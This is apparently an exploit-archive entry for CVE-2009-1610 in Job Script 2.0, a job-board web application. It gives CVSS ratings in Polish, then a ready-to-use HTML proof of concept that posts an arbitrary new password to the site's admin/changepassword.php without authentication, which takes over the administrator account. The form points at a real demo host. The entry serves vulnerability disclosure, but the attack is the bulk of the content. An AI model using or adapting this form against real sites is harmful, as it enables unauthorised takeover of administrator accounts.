Job Script 2.0 Arbitrary Change Admin Password Exploit

2009-05-12 / 2009-05-13

Credit: TiGeR-dZ

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-1610

CWE: CWE-264

Ogólna skala CVSS: 7.5/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

<head>
    <title>Job Script V2.0 - Job Board Software change pasword admin </title>
 
</head>
    </head>

<body>

<div id="page">
   
      <div id="middle">
          <div class="center">
 
<table width=100% cellspacing=15>
<tr>
    <td width="223"><b>admin :</b></td><td>admin@admin.com</td>
</tr>
</table>

<body>

<div id="page">
   
      <div id="middle">
          <div class="center">
 
<table width=100% cellspacing=15>
<tr><td valign=top>

<b><i>Change password</i></b><br />
<br />

<form action=http://www.jobscriptdemo.com/admin/changepassword.php METHOD=POST>
<input type=password name=password>

<input type=submit name=submit value="Change Password">
</form>
 
</td>
</tr>
</table>

          </div>
     </div>
     <div class="clear"></div>
     
</div>
</body>
</html>
     
          <p>&nbsp;<p><font size="5">Cod[3]d By:TiGeR-dZ</font></div>
     </div>
     <div class="clear"></div>
     
</div>
<p><font size="5"> ;Script:<font color="#FF0000">Job Script V2.0 - Job Board Software</font></font></p>
<p><font size="5">Download</font><font size="5">:</font><a href="http://www.jobscript.net/job-board-software/"><font size="5">http://www.jobscript.net/job-board-software/</font></a></p>
<p><font size="5">Mail:<font color="#FF0000">Tiger-dz@live.com</font></font></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</body>
</html>

Referencje:

http://www.milw0rm.com/exploits/8639

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Job Script 2.0 Arbitrary Change Admin Password Exploit

Referencje:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.